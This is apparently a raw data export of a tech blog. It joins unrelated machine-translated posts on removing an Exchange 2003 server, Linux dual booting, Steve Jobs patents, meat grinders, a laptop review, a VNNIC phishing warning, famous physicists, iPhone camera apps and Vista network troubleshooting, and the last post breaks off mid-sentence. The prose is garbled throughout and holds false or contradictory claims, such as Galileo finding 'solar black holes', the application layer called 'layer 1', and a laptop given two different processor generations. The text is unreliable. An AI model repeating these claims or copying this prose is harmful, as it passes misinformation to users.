Figure 3, where the EX2 server is set to be the new Routing Group Master.\n  Figure 3 : Setting up the Routing Group Master server\n4. Every time you complete the above step, the screen will automatically refresh and the new server is now shown as master. Additional connectors If you already have connectors on the old server, you will have to reset them on the new server. We can take an interesting example with the X400 Connector connector, because it opens up \"other end\", causing each connector to be specific to an IP address (should be the IP address of the server coming down). revoke). The X400 Connecter has become less popular in the past few years, but it is still a remarkable connection. There are not many issues worth discussing in this area. Check the connectors to see if any points are dependent on the old Exchange server. Turn off the computer for a short time This does not mean that after all the above steps you can rest. Now it's time to shut down the old server by removing the Exchange server software from it. But you should wait! It is better to turn off Exchange services for a period of time, at least for a few days, preferably a week to make sure that nothing happens. The last thing you need to do is restore a server because someone or something may still depend on the old server. Turning off the old server for a week will give you time to see if there is any further problem. Remove Exchange This last step seems to be too common in public news groups, email lists and on website forums. If you have copied all public folders, converted the entire user mailbox and followed the instructions in this article, you are now ready to remove the Exchange server software from the old server. However, after setting the \"Action\" field to \"Remove\" to remove the Microsoft Exchange component in the Exchange Installation Wizard, you will see an error like Figure 4:\n  Figure 4 : Existing Mailboxes Error (Error: Existing mailboxes)\nWhy does this error appear when everything is ready to be removed? That's because you still have some Active Directory objects that are configured by Exchange properties in this server. To find those objects, follow these steps:\n1. Run Active Directory Users and Computers. 2. Right-click the domain name at the top of the left pane and select Find from the context menu. 3. In the Find Users , Contacts , and Groups window, click the Advanced tab. 4. Click the Field button and select User . On the list of properties shown, select Exchange Home Server . 5. Set the Condition field to Ends With and type the old Exchange server name into the Value field. 6. Click Add to add this condition to Condition List . (An example of this is illustrated in Figure 5). 7. Click the Find Now button and you are provided with a list of objects that are still in Exchange properties. You need to delete them before removing the Exchange server. But you don't need to worry about system mailboxes.\n  Figure 5 : Find Exchange properties\nAfter completing this final task, you can insert the Exchange server software CD into the removed server, run setup (the installation program) and proceed to remove the server.\nSummary When you want to deactivate an old Exchange server, you do not need to touch the power button because there are a number of procedures that allow you to perform completely on the software. Especially when removing the first Exchange server installed in the administrative group, it is even more necessary to be careful. Hopefully the content of this article provides enough information to help you successfully and accurately remove the first Exchange server mentioned above.\nncG1vNJzZmismaXArq3KnmWcp51kv6a5zq%2Bgp59dqbWmecWiqaysXZrFpLTAp56eZWJlfXR50p6pr52iYr2ivtNmoKI%3D\n","link":"/post/removing-the-first-exchange-2003-server-part-ii/","section":"post","tags":null,"title":"Removing the first Exchange 2003 server (Part II)"},{"body":"The operating system is the lifeblood of a PC, determining software compatibility and how the hardware interacts. If you're considering Linux for the first time, it's understandable to worry about replacing an existing operating system, whether it's Windows or macOS.\nWith dual boot, you have two operating systems available to boot on the same machine. However, dual booting is not without problems. Please consider the following factors before taking action\nAdvantages of Linux dual boot Is dual booting worth doing? Let's start with the reasons why you should dual boot Linux.\n1. Get the most out of gaming Native gaming on Windows gets better support, but Linux has come a long way too. More games are available for this operating system, and Valve's selection of Proton means you can play a lot of Windows-only games well on Linux. But ultimately, most PC game publishers develop, test, and ship their games on Windows.\nBut what about older games (16-bit)? Modern Windows (64-bit) architectures cannot handle them, while Linux provides smooth support for 16-bit programs through both 32-bit and 64-bit operating systems. Thanks to Wine, many Windows applications can run just fine. So if you want the best gaming capabilities, both old and new, dual boot.\n2. Better performance than virtual machines   When running an operating system natively on a machine, as opposed to a virtual machine, the operating system has full access to the host machine. This means that dual booting provides more access to hardware components and, in general, is faster than using a virtual machine.\nVirtual machines often require more system resources, so running Linux or Windows inside a virtual machine requires a machine with quite powerful specifications for good performance. If you have an old or cheap computer, running a second operating system using VirtualBox or similar software may not be a viable solution.\n3. Higher software compatibility You may find that many of your favorite programs don't work as well in one operating system as they do in others. For example, in the early years, Netflix did not support streaming on Linux. After that, many professional software do not have options for Linux, such as Photoshop and the rest of the Adobe toolkit.\nOn the other hand, Linux has a growing selection of free software designed just for free desktop use. These apps are free alternatives to the tools you pay for on Windows or macOS. You also don't have to worry about being tracked, because \"free\" on Linux doesn't mean an ad-sponsored app. They are literally free.\nInstalling two operating systems ensures access to all the programs and services you need.\n4. Programming is (sometimes) better on Linux If you want to get into the programming world, Linux has many advantages. It's free, which is always a big plus. Then there are many languages ​​included including Java, PHP, Ruby, Perl, Python and C/C++, countless coding applications and Bash support. Linux knowledge can also look great on a resume, as familiarity with this ecosystem is essential.\nIf you want to develop software for Windows or Mac, you can absolutely use Linux (but it's usually better to write application code for a native operating system). For example, Windows has the extremely powerful Visual Studio and this is the go-to for Windows applications. Consider dual-booting for programming and using Linux as a development environment.\n5. Dual booting is really easy   There is a misconception that Linux is complicated. Agreed, the command line can be a bit daunting for first time users, but you don't need to use the command line on Linux anymore. Many Linux desktops are actually simpler than the proprietary options. Just because something is unfamiliar doesn't mean it's hard to use.\nSimilarly, dual booting is a necessity. There are guidelines in place to ensure a smooth installation. For example, always make sure to install Linux after the main operating system (failure to do so can lead to problems with booting). File sharing is also possible, as Linux allows access to many Windows files.\nDisadvantages of Linux Dual Boot As with any installation scenario, there are some downsides that you should also consider.\n1. Increasing complexity While the installation isn't terribly difficult, sharing files across two operating systems can be a challenge. Linux generally provides easy access to Windows files, but accessing the Linux file system through Windows is a bit more complicated. Linux primarily uses the EXT4 or Btrfs file system, and Windows requires a third-party application to achieve compatibility. While the installation process can be quite simple, uninstalling has the potential to create a mess.\nOverall, a dual-boot setup isn't as challenging as many other tech tasks, but it will require a bit of patience and ingenuity. If you can't handle some of these kieru issues, consider skipping the dual-boot setup.\n2. A Virtual Machine Might Be All You Need   As discussed earlier, virtual machines are a great solution to run one operating system in another. You can use virtual machines to run Linux inside Windows or macOS. Or you can run Windows or macOS inside a virtual machine on Linux.\nAlso, it's relatively easy to install and uninstall. Deleting an operating system is like deleting a program and has nothing to do with bootloader or partition management.\nChoosing a VM solution will take up more hard drive space and system resources than dual-booting. Older hardware may not be suitable for running virtual machines, whether due to lack of hard drive space or low system specifications. Furthermore, the operating system in the virtual machine may not have full access to hardware such as the microphone, camera, or optical drive.\nHave you decided to go for a Linux dual boot? There are many reasons to use Linux alongside Windows or Mac. Dual booting Linux has its pros and cons. This can be extremely rewarding, especially for those looking to make a foray into the Linux ecosystem. It allows you to discover something new without completely breaking away from the familiar.\nAnd if you're not satisfied with your new Linux experience, you can safely switch back to a Windows-only setup.\nncG1vNJzZmismaXArq3KnmWcp51kwKm71KWbZqSZo8K5ecOumKVlkqS8tQ%3D%3D\n","link":"/post/should-linux-dual-boot/","section":"post","tags":null,"title":"Should Linux dual boot?"},{"body":"Not only is the CEO with great vision, Steve Jobs is also an inventor, something few expected. Here are the 5 most notable patents of the former Apple CEO.\nUnlike any of the previous CEOs, we always see the figure of Steve Jobs following a series of Apple products during the time he was in charge. According to the New York Times , there were 313 patents named Jobs in the inventors' ranks, often standing next to familiar characters like Jonathan Ives and Philip Schiller. Most of them relate to the design of the product, not merely the technological innovation, such as the 'decorative design for personal computers' of any model (eg MacBook Air). . Not only that, the name Jobs is also associated with specific nuances available only at the Apple interface as drag and drop gestures or flick on the screen to switch menus. This partly explains why Apple has always been active in protecting its intellectual property. Like any software developer, painter or journalist, Jobs understands how uncomfortable it is when opponents copy their products without his permission. The New York Times also said that Jobs may not intervene deeply in the stages, but he played an integral role in the development of its products.\nAnd this means that Jobs, a design expert, is directly involved, not just what we often see in his famous speech and aggressive marketing campaigns. He is always present in shaping products, positioning curves, factors that now users of many different operating systems technology refer to as a benchmark.\nOf the 313 patents with the name of Steve Jobs, it can be said that here are 5 more outstanding products.\nPatent No. 7,345,671: Equipment and ways of communicating in a circle (wheel) The advent of the iPod music player with the legendary 'wheel' instead of the rival's traditional communication style 'blew away' all product reviews when it first appeared in 2001. can use your finger, rotate in a circle to communicate with iDevice devices.\n  Patent No. 7.479.949: Touch screen device, user system and graphical interface No matter what smartphone you are using, it still means you are holding one of the patents of . Jobs, including dragging up / down or switching between menu screens. Because of this patent, Apple has had a long legal battle with rivals such as Motorola, HTC and Nokia.\n  Patent No. 7.956.272: How to manage data in personal devices This patent is exactly what every other company is trying to do: A paradise of entertainment in the middle of the main screen. This invention is intended to help users store and manage everything they have, then use them on any screen. All in one wireless handheld device.\n  Patent No. 5.146.556: Systems and ways to manage images Also known as a 'rail system' , this patent includes a bar of icons below or next to the user interface, exclusively for Mac OS X and iOS operating systems. No need to manipulate as much as normal Windows computers, users can open the application with a simple mouse click.\n  Patent No. D47899: Staircase It may not sound like much about Jobs's work, but genius once again proves that he can do anything, even if it is the job of architects. Proof is the beautiful, transparent staircase at the Apple Store in Cupertino headquarters is also his work.\n  ncG1vNJzZmismaXArq3KnmWcp51kwamxjKamrKxdnrqxu9GtmKesXZ67t7HNraCopqNivKd50q2cr51dn7yjvw%3D%3D\n","link":"/post/the-most-important-inventions-of-steve-jobs/","section":"post","tags":null,"title":"The most important inventions of Steve Jobs"},{"body":"Meat grinder is one of the indispensable items in every kitchen. Especially for housewives who like to make dishes made from minced meat. If you are wondering which kind of family meat grinder is good, the content below will help you choose the best product.\nUse of meat grinder   The meat-based dishes have quite a few ways to prepare to add more variety. If processing meat with a knife and cutting board and chopping by hand, it will take a lot of time and effort but the meat is not sure to ensure smoothness.\nTherefore, the line of meat grinders has been produced to help save time and effort, helping your housework become more gentle and convenient than ever.\nIn addition to the meat milling function, the multi-function line of household grinders can now grind a wide variety of other foods from fish, vegetables, fruits and spices such as garlic and grapes. . a very effective way.\nWhat kind of family meat grinder is good? On the market of products of food grinder, meat grinder today has many brands such as Philips, Bosch, Zelmer . In the segment of cheap products, there are Magic Korea, Pensonic, BlueStone .\n1. Magic Korea A04 food grinder (glass mortar) This is one of the most outstanding meat grinder lines in the market today. Magic Korea A04 grinder products cost only over VND 300,000.\nIt is interesting that this grinder has a glass jar, equipped with a grinding shaft with 2 double blades made of high quality stainless steel material. With a maximum capacity of 400W, you can puree meat, fish and types of vegetables, garlic, onions.\n1.1 liter capacity is very comfortable for cooking needs in families of 3-5 members. Magic Korea A04 has two quick and slow grind modes that are suitable for a variety of foods and vegetables.\nSpecifications:\nMill capacity: 1.5 liters Self-disconnection when overheating: Yes Capacity: 400W Material of mill: High quality glass Voltage source: 220V - 240V / 50Hz - 60Hz Color: White Blade material: Stainless steel   2. Food blender Iruka I-09 Like the Magic Korea A04, this blender has a glass mill, the blade is made of stainless steel, sharp and durable.\nLarge capacity up to 400W with a strong grind mode that grinds meat and grinds food quickly. It is also equipped with an overload protection system, minimizing electrical incidents such as fire and explosion .\nThis grinder works smoothly, so it does not affect the surrounding environment.\nProducts cost about VND 300,000.\nSpecifications:\nCapacity: 1.5 liters Capacity: 200W - 400W Voltage source: 220V / 50Hz Product weight: 1.8kg Blade material: Stainless steel Size: 16cm x 16cm x 25cm Material: High quality glass   With these two glass mortar products there are slightly heavier than plastic mortar products and you also need to be a bit careful when using them to not drop the mortar.\n3. Philips HR2710 / 10 meat grinder This is an ideal meat grinder for home, business, restaurant . The machine has a standard capacity of 450W, maximum capacity of 1600W helps to grind food quickly without staining.\nSet of cutting knives of high quality stainless steel grinder, super durable, no rust. With 2 meat outputs with different hole sizes: 5mm and 8mm, the blender makes it possible to select the meat output suitable for the intended use.\nProducts cost about more than 2 million VND.\nSpecifications:\nPower cord length: 1m Capacity: Standard (450W); Maximum (1600W) Speed: Grind (1.7 kg / minute) Color: Blue and white Product weight: 3.7kg Blade material: Stainless steel   Hopefully, with the above useful information, you will choose the type of meat grinder with reasonable price and meet the demand of the family.You should also consider choosing multi-function grinder products if your household's meat milling needs are not too frequent.\nThank you for following the article\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jKacmqxdnL%2BqusOeqWaen6d6p63MoqOyZZKawLV5wa6wZqafrA%3D%3D\n","link":"/post/top-meat-grinder-for-family-best-buy-now/","section":"post","tags":null,"title":"Top meat grinder for family best buy now"},{"body":"People often assume that workstations look boring. Launched by a collaboration between Lenovo and NEC, Lavie Vega is a workstation that 'looks both beautiful and sharp.' Launched in March, Vega starts at $ 2,099 (VND 48,634,000), targeting creative professionals and anyone else who loves this beautiful design. Lavie Vega offers a beautiful design, 4K OLED screen and unique smart speaker function.\nPrices and specifications of Lavie Vega The $ 2,099 Lavie Vega configuration is equipped with 9th-generation Intel Core i7-9750H processor with 8GB RAM, 512GB Intel QLC 3D NAND SSD with 32GB of Intel Optane memory and integrated Intel UHD 630 GPU.\nDesign by Lavie Vega The lovely blue aluminum alloy lid is protected by a Gorilla Glass, which not only adds beauty to this laptop, but also protects against scratches and dents. However, the glass can lead to a lot of fingerprints due to unsightly fingerprints.\nSmart Light The logo is decorated on the Vega lid, acting as a smart speaker called Smart Light. Using a far-field microphone, the icon with the LED around can receive voice commands from Microsoft Cortana even when the laptop is in Sleep mode.\nThe ports on Lavie Vega Vega has a fairly large number of ports including a pair of USB 3.1 Type-C Gen 2 ports, two Thunderbolt 3 ports, a combined micro / headphone jack and a microSD card slot. Some users are a little disappointed without any USB Type-A ports.\nThe screen of Lavie Vega To give creators the best screen content to work with (as well as watch one or two movies), Vega is equipped with a 15.6-inch, 4K (3840 x 2160) OLED display. Lenovo and NEC claim that this panel has a maximum brightness of 400 nit. Pretty good, but not enough to beat the Prestige 15 (428 nit), MacBook Pro (429 nit) or XPS 15 (626 nit).\nBattery life Lenovo and NEC estimate that Vega will last 8.3 hours on a single charge. That's a 'generous' estimate, especially for a laptop with a 4K OLED screen.\nConclude Lavie Vega is an interesting product in the laptop market for creative workers. It has an attractive appearance and great performance thanks to the 10th generation Intel 10 processor. You also get a 4K OLED screen, which delivers extremely vibrant colors with sharp details. In addition, Lavie Vega also has a unique function thanks to the integrated Smart Light.\nThe combination of OLED and 4K can significantly reduce the system's battery life, but hopefully it can last at least 8 hours.\nAdvantages:\nSleek, attractive Extremely durable Great smart speaker function Gorgeous 4K OLED display Defect:\nPrice is a bit expensive USB Type A port is missing ncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6uZqSRq7amedWenpplpaHBs63Lop6hrF2hrrHAzqlksKGknXp1t4yoo56cXaiws7HEpw%3D%3D\n","link":"/post/ultra-light-laptop-with-4k-oled-screen/","section":"post","tags":null,"title":"Ultra-light laptop with 4K OLED screen"},{"body":"About two days ago, a series of emails pretending to be Vietnam Internet Network Information Center (VNNIC) sent out virus warning messages, but the emails themselves contained malicious code in the attachment to attack public users. Email content is as follows: \" Vietnam Internet Center (VNNIC) would like to announce the agencies, we recently discovered a dangerous virus impersonating a distributed email address that infected 5,500 computers at state agencies . Please attach a list of dangerous emails in the attachment \"\n  Image of phishing email notification of VNNIC to spread Virus attack users\nThe address sent from the email with the above content is clearly VNNIC, but in fact, this is a fake email!\nThe attachment that the fake email explains is that the \"dangerous email list\" is actually a virus called Dropper.Mdrop.AC . Recommendations when interacting with email with attachments : - Be wary of attachments you do not require, even those files that are sent from acquaintances - Because an email with a sender address is familiar does not mean it is sent from that person. If possible, check the authenticity from the sender before opening the attachment. Be careful with messages from ISPs, software firms, online Game companies, etc., require opening or installing attachments. These companies and organizations do not send software via email but always request to download directly from their official website. - Save and scan any attachments before opening them - If you have to open an attachment before you can authenticate the source, do the following:\n(1) Ensure anti-virus software is up to date. (2) Save the file to a computer or a certain drive. (3) Scan the file manually using antivirus software. (4) Open the file.\nTurn off the automatic download of attachments of mail reader software.\n- Consider additional measures - Filter attachment types using the email software's attachment type limit options or use a firewall.\nSource: VNCERT\nImmediately after receiving the above information on virus distribution, VietNamNet has contacted VNNIC directly to clarify the incident. Mr. Pham Viet Anh - Head of VNNIC's Executive Technical Department said: \" This is a form of forging VNNIC's email address to spread viruses \". VNNIC representatives also stated that the type of fake VNNIC email address to spread malicious code to attack users may have many other forms, not just one specific content as mentioned above. Therefore, Mr. Viet Anh emphasized: \" VNNIC has never sent emails related to virus warning! Previously, emails sent from VNNIC mainly in the function of the center are related to domain name issues. such as Domain Name Expiration Notice, or email contact with domain name holders upon request for changes, inquiries . Immediately after receiving information from malicious customers due to receiving fake messages as above, VNNIC has sent a notice to VNCERT Center (Ministry of Post and Telematics), BKIS Center (Hanoi University of Technology) and VietNamNet to provide timely processing information and warn users. Mr. Do Ngoc Duy Trac - Head of VNCERT's operational department made a recommendation: \"It is very easy for hackers to fake email addresses from email, so users need to be very careful with email Similar content (with address sent from VNNIC and attached file) . \" \" If you find similar problems, please inform VNCERT again via email ir@vncert.vn or via phone number 04.9445510. One more thing to do is update your existing antivirus program and Hacker can fake email addresses from other companies, organizations ., even VNCERT, for VNCERT Center, we never send email attached. files to users and every business email use electronic signatures compatible with OpenPGP standards so that the recipient can check the authenticity \". There are still no statistics on the exact time the virus was released on the network, the number of infected victims as well as the level of danger of this virus. However, the number of infected computers can be quite large because information from VNCERT shows that hackers distribute viruses in the form of spam mail - send bulk spam to all users that they have email lists. The Phong\nncG1vNJzZmismaXArq3KnmWcp51kxKLAwqFkqK2kYrOwvoyvpaehk2K2rrzEq6qoppGptrC6jJ6kmqGcYsGwedKpqZ6ZlGLDqr7UrJys\n","link":"/post/watch-out-for-vnnic-impersonation-email-to-spread-viruses/","section":"post","tags":null,"title":"Watch out for VNNIC impersonation email to spread viruses!"},{"body":"With superhuman brains, physicists have come up with theories, ideas, discoveries that help people completely change their perception of the world around them as well as in the vast universe.\nPhysics is so vast, it is ubiquitous from human daily life to the most remote places in the universe. The work of this world famous physicist has contributed to changing the perception of humanity about the world.\n1. Galileo Galilei (1564-1642)   He is considered one of the greatest scientists and physicists of all time and the \" father of modern physics \". He was the first to assert \"all things fell freely with the same constant acceleration \". This is one of his most famous achievements.\nGalileo Galilei is also the creator and developer of telescopes to help people observe astronomical phenomena in the universe. Thanks to the results, he discovered \" The sun is the center of the solar system\" , the surface on the moon has jagged mountains and the existence of solar black holes.\n2. Isaac Newton (1643-1727)   Most of us know Isaac Newton with three Newton's laws of motion and his law of universal gravitation. Besides, he also gave a law to preserve momentum and dispersion of light through a prism. These are the basic knowledge that are used to teach in schools.\nOne of his groundbreaking ideas about the universe is that the movement of objects in the sky must also follow the laws of physics like the movement of objects on the earth.\n3. Michael Faraday (1791-1867)   Michael Faraday has made breakthroughs in the study of magnetism and electricity. He discovered the electromagnetic induction in 1831 and invented the world's first electric transformer.\nIn 1839, he proposed a basic relationship between electricity and magnetism.\nHis name is given to many concepts and units as Faraday's constant, Faraday's law of induction.\n4. James Clerk Maxwell (1831-1879)   In 1864, James Clerk Maxwell published his work on the dynamical theory of electromagnetic fields. This theory shows that magnetism, electricity and light are both manifestations of the same phenomenon: the electromagnetic field.\n5. Wilhelm Röntgen (1845-1923)   In 1895, Wilhelm Röntgen accidentally discovered electromagnetic radiation in a wavelength range from which to produce X-rays. Today, X-ray rays are widely used by people in health and many industries.\n6. Marie Curie (1867-1934)   In 1896 Marie Curie discovered radioactive material (found by the properties of X-rays) and introduced the technique of isolating isotopes. At the same time, she and her husband Pierre Curie discovered two radioactive elements radium and polonium.\n7. Joseph John Thomson (1856-1940)   Before Joseph John Thomson discovered the electron, the atom was only understood to be the smallest particle and the basic constituent of matter, never seen.\nJoseph John Thomson is the discoverer and illustrator that there are smaller particles that make up the smaller matter than the atom is the electron.\n8. Max Planck (1858-1947)   Max Planck is the \"father\" of quantum mechanics. In 1900 Max Planck introduced the concept of quantum, the smallest and most discrete quantity of a physical entity.\nHe is the one who sets the value for Planck's constants: ε = hv, which is the fundamental constant of physics that appears in the problems of quantum physics.\n9. Albert Einstein (1879-1955)   In 1905, Albert Einstein published a study of relativity, in which he described that the speed of light is always constant, and at the speed of light, time stands still and mass is invisible. term He gave the formula E = mc2.\nIn 1915, Einstein published general theory of relativity, a fundamental theory of the nature of time, space, and gravity. Which describes gravity as the result of spacetime curvature.\n10. Ernest Rutherford (1871-1937)   Ernest Rutherford is a physicist operating in the field of radiation and atomic construction. In 1911, he published one of his two most important works, the atomic model. He proved that the middle nucleus accounts for most of the mass of atoms.\nHis second important work was the discovery of protons in 1920.\n11. Neils Bohr (1885-1962)   Neils Bohr, a famous Danish physicist, is best known for building the theory of atomic structure published in 1913. He showed that an atom has a nucleus at the center with electrons. spin around it. Neils Bohr plays an important part in the creation of quantum mechanics.\n12. Wolfgang Pauli (1900-1958)   The famous studies of Wolfgang Pauli are about quantum theory and spin theory.\nIn 1925, Wolfgang Pauli discovered the Exclusion Principle, the key to understanding the properties of nebulae and stars. He was the one who proposed the existence of neutrinos, which are very light and difficult to interact with matter in 1931.\n13. Erwin Schrödinger (1887-1961)   In 1926, Erwin Schrödinger introduced the Schrödinger wave equation, the basic equation of quantum physics, which describes wave mechanics.\nIn 1935, he came up with one of the most famous fantasy experiments in history, 'Schrödinger's Cat'.\n14. Paul Dirac (1902-1984)   Paul Dirac's most highly acclaimed work is to predict the existence of antimatter, equally charged particles that are contrary to electrons, like positron (or antielectron) in 1928.\n15. Werner Heisenberg (1901-1976)   Werner Heisenberg is famous for the uncertainty principle 1927, an important principle of quantum mechanics. According to this principle, provide basic limitations on the accuracy of experimental measurements in quantum mechanics.\nncG1vNJzZmismaXArq3KnmWcp51kfnZ5xqucmqxdpbW6v8icoKyso2Kwqa3NoJxmrJiaerit2GaunmWlo7GmvtKtmKecXam1pnnWqKmlnA%3D%3D\n","link":"/post/15-great-physicists-change-the-way-we-understand-the-world/","section":"post","tags":null,"title":"15 great physicists change the way we understand the world"},{"body":"Apple's iPhone 11, 11 Pro and 11 Pro Max have been the focus since their release in September 2019. One major reason for this is significant innovations in the iPhone 11 camera.\nWith the iPhone now including more features in the camera, certain camera apps may become outdated. These applications rely on certain shortcomings of previous iPhone cameras to attract interest.\nLet's find out about 3 iPhone camera apps that you may not need anymore when buying iPhone 11. And if you still use an older iPhone model, these apps can help you do many of the same things. like the iPhone 11 can do.\nGet rid of these 3 camera apps, if you own an iPhone 11! The main capability of the new iPhone 11 camera 3 camera applications that iPhone 11 camera can replace 1. VSCO 2. ProCamera 3. Camera + 2  The main capability of the new iPhone 11 camera First, let's summarize some salient features of iPhone 11 camera.\nThe design of the iPhone 11 camera is very special. Apple put the third lens in iPhone 11 Pro and Pro Max. Check out TipsMake.com's iPhone 11 and iPhone 11 Pro comparison for more details.\nApart from the noticeable change in design, what do these lenses bring to the iPhone camera?\n3-camera system : Easily switch lenses during zoom while maintaining exposure and stable image quality. Wider shooting angle : 12MP ultra-wide lens of 12MP makes it easier to increase the shooting range. 'Slofies': Apple's new term for slow-moving selfies . Can take selfies on the go thanks to the 12MP TrueDepth front camera. Dedicated night mode : This makes it easy to shoot in low light. Close to accurate image reproduction : The new camera makes it easier to capture images with realistic colors and impressive dynamic range. Sensory intelligence : The iPhone 11 Pro camera can accurately assess lighting conditions and adjust exposure. QuickTake: Want to record videos while taking photos? Just locate the iPhone 11 camera, click to take a picture, and keep holding to record the video.   One final interesting feature of the iPhone 11 camera is the new Deep Fusion algorithm. This is Apple's post-processing software, to help improve the image details captured on the iPhone 11 camera.\nThis software automatically activates when you open the camera application. When you aim at a subject, the iPhone captures both short- and long-range exposures. Then, when you click the shutter, the algorithm combines the captured images to form a main image. The image produced has low noise and high level of detail.\nAt the time of writing, this feature is expected to be available by the end of 2019.\n3 camera applications that iPhone 11 camera can replace Now, Apple has brought revolution to phone camera technology, what does that mean for specific applications? The article identified several camera applications that will be affected. due to improvements to the iPhone 11 camera.\n1. VSCO   VSCO is one of the best camera apps in the App Store. In addition to editing capabilities, this app also provides a powerful, user-friendly camera.\nIf you've used this app before, you'll know that the transition from taking photos to editing on the platform goes smoothly. In camera mode, you have a series of icons at the bottom of the screen. They show the various control functions you have on the captured images.\nTo unlock certain advanced features, you will need to upgrade to a Pro subscription. However, now Apple will make your photos more beautiful than ever thanks to the Deep Fusion algorithm, so VSCO becomes unnecessary.\nApple's upcoming function requires very little user intervention to determine the best settings for images. For most people, this means paying for VSCO is no longer needed.\n2. ProCamera   For iPhone users who love capturing quality video, the must-have movie app ProCamera. But with the iPhone 11 camera, ProCamera may no longer be needed.\nThis camera app gives you in-depth control over recorded videos. It provides features like camera preset mode (preset) for HDR. In addition, you can set the frame rate, focus, geotagging, flicker, file format and choose the resolution for the video.\nMeanwhile, the iPhone 11 camera has a 3-camera system with HDR. This easily allows you to 'juggle' between the lenses, helping to enhance the depth of footage in the video. In addition, QuickTake allows you to record a scene without having to go through the process of opening the camera application.\nIn low light settings, the dedicated night mode feature eliminates the need to use ProCamera. And as discussed, Deep Fusion will handle most of the post-processing.\n3. Camera + 2   One of the top choices for interesting iPhone photography apps is Camera + 2. Soon after launch, you'll notice that it's relatively similar to the original camera app. However, unlike the original camera, you have more controls and buttons at hand.\nFor example, with Camera + 2, you can set the focus point and exposure point. You also have access to depth shooting and editing. You can adjust the blur on the image and set the focusing distance. The 'privileges' Camera + 2 offers are found in the iPhone 11 camera, with wider angle shooting capabilities as well as the Sensory Intelligence feature.\nAnother standout feature of the Camera + 2 app (something that previous iPhone cameras didn't have) is a variety of shooting modes. For those who like to take long exposure photography, the lack of this feature on the iPhone will lead to the need to use the Camera + 2 app. But now, you won't need this app anymore, if have an iPhone 11.\nWith the new iPhone 11 camera, the QuickTake and 'Slofie' features function similar to the Slow Shutter mode of the Camera + 2 app.\nIt is important to note that camera applications do not exist to replace the device's main camera. Instead, they overcome inadequacies or enhance existing features of the phone camera. In the case of the iPhone 11, which basically comes with the salient features of these apps already built in, it will be interesting to see how the developers of this camera app innovate.\nTo improve photo quality no matter what device you have, check out those iPhone camera settings that everyone should be good at.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51kgG6vwKacq5ldlr2xv4ysn6itnJl6o7GMrqWipqOprq24xJ1kqKZdnr2pu82eZGpp\n","link":"/post/3-camera-apps-should-be-uninstalled-on-iphone-11/","section":"post","tags":null,"title":"3 camera apps should be uninstalled on iPhone 11"},{"body":"David Davis\nIn this article, I will show you five tips that you can take to fix some network problems in Windows Vista; includes automatic diagnostics, command line tools and powerful troubleshooting methods.\nIntroduce\nWindows Vista is no different than other operating systems, whether sooner or later you will experience network problems. These problems can be caused by the operating system, user or administrator configuration errors, network problems, or other problems. So it is impossible to ask whether you need to perform Vista network troubleshooting, but you need to ask when you need to perform troubleshooting for this network. In this article, I will show you five tips that you can use to troubleshoot network problems in Windows Vista. Begin with the first tip:\n1. Using the 'Bottom Up' method to temporarily translate as 'overturning'\nIf you look at the OSI 7-layer reference model, you will see that it is the class model that represents all the different components that make up a network. The bottom layer 'bottom' is the physical layer. This class is shown in reality that is the cable, NIC interface, switch and electrical signal running on the wire. If you start troubleshooting your problem in this last layer (physical layer) and move up to the upper layers in the model, then you will go through other layers like the Data-Link layer (usually Ethernet). protocol), Network Layer (IP Network), Transport Layer (TCP), . and finally the Application layer application layer (layer 1).\nOur tip is to start troubleshooting by checking the physical connection. Here are some questions for you to check your connection:\nIs your network cable connected? Do you see a signal light on the NIC? Does Windows see your NIC? Is the Ethernet switch powered and shows the light on? Whether you use a wired or wireless connection, the questions are similar. Get an example of the wireless network connection state in Vista:\n Figure 1: Wireless network connection status in Vista Pay attention to the 'media state' section. In this case, the transmission environment is wireless but the important thing here is that it is activated.\nIf you want to make a connection to a wireless network, make sure that you are actually connected to a network. You can click Connect to a Network to connect or disconnect from a wireless or dialup network.\nOn a computer with a physical Ethernet connection, you will see similar things. See the following example of Windows 2008 Server with an Ethernet NIC:\n Figure 2: Windows 2008 Media Stat On this server, you can see that the Ethernet environment on the wired LAN connection is activated and you can see that its speed is 10.0 Gbps.\nIf you can verify those things, proceed to verify the OSI model until you find the problem. Network administrators often joke about the OSI model that there is an 8th class in this model that is the 'end user' class and they need a lot of time for this problem.\nHowever, many of those things will need to be included in the category for testing different classes in the reference model as with most network tools, they are used to test the relevant Network \u0026amp; Transport classes. to TCP / IP.\n2. IP addressing\nTo advance to this step, you need to clearly identify the state of the environment and the link signaling and your physical network connection are currently working. When you first transition to the higher layer in the reference model, we will skip the layer datalink layer (layer 2) and go straight to layer 3 (IP addressing) because the Ethernet MAC address usually does not cause problems in the network.\nIn this step, you need to check IP addressing to ensure that:\nYou have a real IP address (not an automatically assigned IP address) Your address is correct and valid for network addresses and gateways You have defined gateway addresses and DNS Server IPs To do this, open the Network and Sharing Center and if you have a connection, click View Status to see your connection network interface.\n Figure 3: Observe the state of the connection Then click Details to see the IP address, subnet mask, default gateway and DNS Servers. If you look at the details in Figure 4, then you will see that the connection does not have a gateway or DNS servers.\n Figure 4: Connection without a default gateway or DNS Servers Missing one of these components will not allow you to have the network connection as usual. Obviously not all of them are required but most of us want to communicate outside of our LAN. A default gateway must be needed for that. On the other hand, we also want to communicate with multiple servers by name (such as www.quantrimang.com instead of 222.255.28.220) and the name of DNS Server IP is also required for that.\nThere is another way that you can execute the IPCONFIG / ALL command to check all IP configurations as follows:\n Figure 5: Result of IPCONFIG / ALL command You may not receive the settings because your adapter is not currently using DHCP.\nEven if you don't have a valid IP address, default gateway and DNS Servers, you need to ping them to ensure that you can really communicate with them.\n3. Diagnostic tool and error correction\nIf you do not want to start troubleshooting, Vista also provides you with a Diagnose and Repair tool to automatically diagnose and repair network connectivity problems. IT administrators can use this tool as a 'way to protect themselves with pistols' to solve problems faster without having to try everything. To use this tool, simply open the Network and Sharing Center and click Diagnose and Repair.\n   Figure 6: Diagnosis and error correction Note : Vista also helps you call the diagnostic tool and fix 'Network Diagnostics' errors. This tool will check your network connection to determine the problem. It will tell you basically what is wrong in the network connection but if you want to get detailed information you need to check Event Viewer .\n4. Filtering and Discovery networks\nAs we continue to go up in the reference model, we will now meet the TCP layer and application layer filtering. Firewalls are used to filter incoming and outgoing network connections. They may be located locally on a Vista computer or may be located outside the network, filtering incoming and outgoing connections to the Internet. We will not mention the case where a firewall is located outside the LAN. If firewalls are on a Vista computer, you can have more than just one (if you install other third-party firewalls). However, the first thing you need to check is Windows' own firewall, which is installed by default when installing Windows Vista.\nIt is not that the Windows firewall blocks all your network access, but rather it is 